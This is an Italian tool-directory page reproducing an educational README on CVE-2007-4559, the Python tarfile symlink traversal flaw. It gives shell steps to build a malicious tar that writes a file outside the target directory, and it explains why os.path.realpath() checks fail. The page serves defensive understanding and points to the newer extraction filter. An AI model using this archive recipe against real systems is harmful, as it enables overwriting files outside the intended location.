Skip to content
KitploitKITPLOIT
StrumentiExploitsBlog
Log in
Invia
StrumentiExploitsBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

FeedContattoPrivacy© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2007-4559 — Dimostrazione educativa dell'attacco symlink di Python tarfile relativo a CVE-2007-4559, con uno script che mostra perché os.path.realpath() non riesce a prevenire l'estrazione al di fuori delle directory previste. | Kitploit
Strumenti/GitHubGitHub/davidholiday/cve-2007-4559
Analisi StaticaAnalisi delle VulnerabilitàAnalisi del CodiceExploitSicurezza della Supply ChainApprendimento e Formazione
GitHubdavidholiday/cve-2007-4559

CVE-2007-4559

Dimostrazione educativa dell'attacco symlink di Python tarfile relativo a CVE-2007-4559, con uno script che mostra perché os.path.realpath() non riesce a prevenire l'estrazione al di fuori delle directory previste.

Vedi Repository
1323 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

dimostrazione di CVE-2007-4559

che cos'è?

Questa è una dimostrazione di come la gestione predefinita di Python dell'estrazione di file tar, precedente alla versione 3.11.4, sia vulnerabile a un semplice attacco tramite symlink. Le istruzioni seguenti descrivono come creare un payload malevolo. Lo script untar.py mostra come e perché funzionano le funzionalità aggiunte nella 3.11.4 - in particolare la necessità di invocare qualcosa come os.path.realpath() prima di ogni scrittura per ogni file. Lo script utilizza esattamente lo stesso metodo di ispezione presente nella funzionalità extraction filter inclusa in Python >= 3.11.4, TRANNE il fatto che non scrive i file su disco. In questo modo dimostra come os.path.realpath() non sia in grado di risolvere correttamente i symlink e di conseguenza consenta ai membri del tar di essere scritti al di fuori della posizione prevista nel filesystem.

cosa c'è qui?

  • istruzioni (questo file) su come configurare il sandbox e il file tar malevolo.

  • script Python untar.py che dimostra il 'perché' alla base della recente implementazione della validazione avanzata dei tar nella libreria tarfile di Python. A causa del modo in cui funziona os.path.realpath(), non puoi fare affidamento su di esso per risolvere i symlink a meno che quei link non siano già presenti nel filesystem. Questo significa che non puoi fare affidamento solo su os.path.realpath() per ispezionare i percorsi dei membri del tar prima di estrarre l'archivio. Devi invece chiamare os.path.realpath() prima di ogni scrittura per ogni membro dell'archivio per garantire il rilevamento di attività malevole legate ai link. Vedi PEP-706 e documentazione tarfile per maggiori informazioni.

Crea l'ambiente e il file tar malevolo

  1. crea l'ambiente di test
snerd@jess:~$ mkdir -p lab/{lib,target}
  1. aggiungi la cartella ./lib all'archivio tar
snerd@jess:~$ cd lab
snerd@jess:~/lab$ tar -cvPf terry.tar lib
  1. sostituisci la directory ./lib con un symlink con lo stesso nome che punta a "."
snerd@jess:~/lab$ rm -rf lib
snerd@jess:~/lab$ ln -s . lib
  1. aggiungi il symlink "lib" all'archivio
snerd@jess:~/lab$ tar -rvPf terry.tar lib
  1. sostituisci il symlink "lib" con una directory e un file
snerd@jess:~/lab$ rm lib
snerd@jess:~/lab$ mkdir -p lib/lib
snerd@jess:~/lab$ touch lib/dangerous_file
  1. aggiungi il file all'archivio usando un percorso relativo
snerd@jess:~/lab$ tar -rPvf terry.tar lib/lib/../dangerous_file
  1. copia il tar nella directory target
snerd@jess:~/lab$ cp terry.tar target/
snerd@jess:~/lab$ cd target/
  1. estrai il tar. "dangerous_file" è stato estratto al di fuori della directory target
snerd@jess:~/lab/target$ tar -xPvf terry.tar 
lib/
lib
lib/lib/../dangerous_file
snerd@jess:~/lab/target$ ls
lib  terry.tar
snerd@jess:~/lab/target$ ls ../
dangerous_file  lib  target  terry.tar

Usa lo script Python

  1. scarica untar.py da questo repository e mettilo nella directory ./lab

  2. esegui lo script. nota quanto sia facile ingannare os.path.realpath() quando il symlink malevolo non è ancora stato scritto nel filesystem di destinazione.

snerd@jess:~/lab$ python3 untar.py 
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib
is_tarslip? False
-*-*-*-*-
member name is: lib/lib/../dangerous_file
dest_path is: /home/snerd/lab/target
target_path is: /home/snerd/lab/target/lib/dangerous_file
is_tarslip? False
-*-*-*-*-

ulteriori letture

  • [Python-Dev] vulnerabilità di directory traversal in tarfile

  • Allerta: una falla di 15 anni nella libreria Python tarfile si nasconde in 'oltre 350.000' progetti di codice

  • Post su SO su come estrarre archivi tar in sicurezza prima delle nuove funzionalità di Python 3.11.4

  • issue Python 21109

  • Dichiarazione del 2022 del maintainer di lunga data [in pensione dal 2019] della libreria tarlib

  • implementazione della nuova funzionalità extraction filter introdotta in Python 3.11.4

Scarica lo strumento